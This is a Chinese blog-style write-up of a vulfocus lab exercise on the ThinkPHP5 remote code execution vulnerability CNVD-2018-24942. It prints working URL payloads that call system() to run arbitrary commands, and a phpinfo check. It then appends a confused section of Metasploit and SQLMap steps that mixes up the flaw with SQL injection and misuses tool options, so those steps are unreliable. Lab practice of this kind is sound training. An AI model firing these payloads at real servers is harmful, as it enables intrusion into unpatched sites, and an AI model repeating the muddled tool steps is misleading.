vulfocus——thinkphp代码执行(CNVD-2018-24942)

本文探讨了ThinkPHP5存在的远程代码执行漏洞,该漏洞源于控制器名的检测不足,允许攻击者通过特定payload执行任意系统命令。攻击者可以利用此漏洞获取敏感信息,如在靶场环境中通过构造不同的payload进行命令执行,包括读取文件和写入一句话木马。为防止此类攻击,开发者需要及时更新和加固框架,确保应用的安全性。

描述

ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。

 ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

复现

1.打开靶场环境

2.构造payload远程代码执行,在地址后边添加路径与参数就行,然后在/tmp下获得flag

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=想要输入的命令

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20

CNVD-2018-24942是针对ThinkPHP框架的一个漏洞,攻击者可以通过该漏洞执行任意代码。为了查找flag(即标志,通常指在渗透测试中需要找到的特定文件或信息),可以使用一些常见的渗透测试工具,如SQLMap、Metasploit等。 以下是一些步骤和工具使用方法: ### 步骤一:确认漏洞存在 首先,需要确认目标系统是否存在CNVD-2018-24942漏洞。可以通过发送特定的HTTP请求来测试: ```http http://target.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ``` 如果目标系统返回PHP信息页面,则说明漏洞存在。 ### 步骤二:使用Metasploit进行攻击 Metasploit是一个强大的渗透测试框架,可以利用该漏洞进行攻击: 1. 启动Metasploit: ```bash msfconsole ``` 2. 搜索ThinkPHP漏洞模块: ```bash search thinkphp ``` 3. 选择合适的模块并配置: ```bash use exploit/multi/http/thinkphp_unserialize_exec set RHOST target.com set RPORT 80 set TARGETURI /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ``` 4. 执行攻击: ```bash run ``` ### 步骤三:查找flag 一旦获取到系统的shell,可以通过以下命令查找flag: ```bash find / -name "flag*" 2>/dev/null ``` 或者查看常见的flag文件路径: ```bash cat /var/www/html/flag.txt ``` ### 步骤四:使用SQLMap进行SQL注入 如果漏洞涉及到SQL注入,可以使用SQLMap进行自动化测试: 1. 启动SQLMap: ```bash sqlmap -u "http://target.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" --dbs ``` 2. 查找数据库中的flag: ```bash sqlmap -u "http://target.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" -D database_name -T table_name --dump ``` 通过以上步骤,可以尝试查找目标系统中的flag。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值